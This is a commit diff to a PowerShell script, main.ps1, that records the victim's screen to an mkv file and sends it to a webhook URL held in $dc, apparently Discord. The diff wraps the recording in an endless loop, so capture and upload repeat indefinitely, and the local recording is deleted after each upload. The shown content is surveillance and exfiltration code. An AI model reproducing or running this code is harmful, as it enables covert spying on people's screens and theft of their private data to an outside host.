Update main.ps1

This commit is contained in:
egieb
2024-06-20 16:22:36 +00:00
committed by GitHub
parent 4a46013136
commit 3f47397769

View File

@@ -8,6 +8,8 @@ This script records the screen for a specified time to a mkv file, then sends th
$hookurl = "$dc"
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
while($true){
Function RecordScreen{
param ([int[]]$t)
if ($t.Length -eq 0){$t = 10}
@@ -34,4 +36,6 @@ Function RecordScreen{
rm -Path $mkvPath -Force
}
RecordScreen
RecordScreen
}